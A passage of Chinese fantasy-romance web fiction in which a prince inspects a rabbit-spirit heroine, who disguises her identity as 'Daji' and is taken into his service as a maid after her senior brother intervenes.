廖策盯着她的脸,上下打量着,是好看,比他的那些娇妻美妾都好看,但是他为什么随随便便的妖都要收?而且她的自称兔兔好恶心,留在身边会不会膈应到自己? 先拒绝吧,如果有人劝他,那他就勉为其难收下这只兔兔。 “不行……” “殿下。”此时一道清冷的声音从廖策身后响起,那道声音带着笑意:“一只兔子而已,您只要想,她随时都能死,何不留着当个宠物养着。” 柳安玫看向帮自己说话的人,待看清楚是谁后,心下便是一惊,瞳孔微不可查地缩了缩。 居然是杜妄师兄,他怎么跟廖策在一起? 师兄没有拆穿她,是不是说明现在的她是安全的? “倒也行,就依你说的。”廖策看向兔子,摆摆手:“诶,你跪过来点。” 柳安玫跪爬了过去,两个人居高临下地看着她,一位眼神里是打量,一位眼神里是探索,这眼神像是能直接看到她的内心。 这不跟扒光了放在他面前一样? 想到这里,她默默地双手环过胸部,脸上还是那副柔柔弱弱的样子,此时俏丽的脸上沾着血,倒是给她增添了几分破碎感。 忽地,廖策抬手捏住她的下巴迫使她抬头:“模样是不错,那就先伺候着端茶倒水吧。你伺候的本王高兴了,本王就让你天天跟在本王身边,日日见。” “……”日日见倒不用。 柳安玫做出一副大喜过望的表情,满目柔情:“谢殿下。” “你叫什么名字?” 说真名是肯定不行的,柳家太好查了。柳安玫突然想到什么,笑了笑:“回殿下,奴名叫妲己。” “妲己……”廖策品着这个名字,点点头:“以后不要称自己叫兔兔,怪恶心的。” “奴明白。” !!!兔兔自称兔兔怎么了?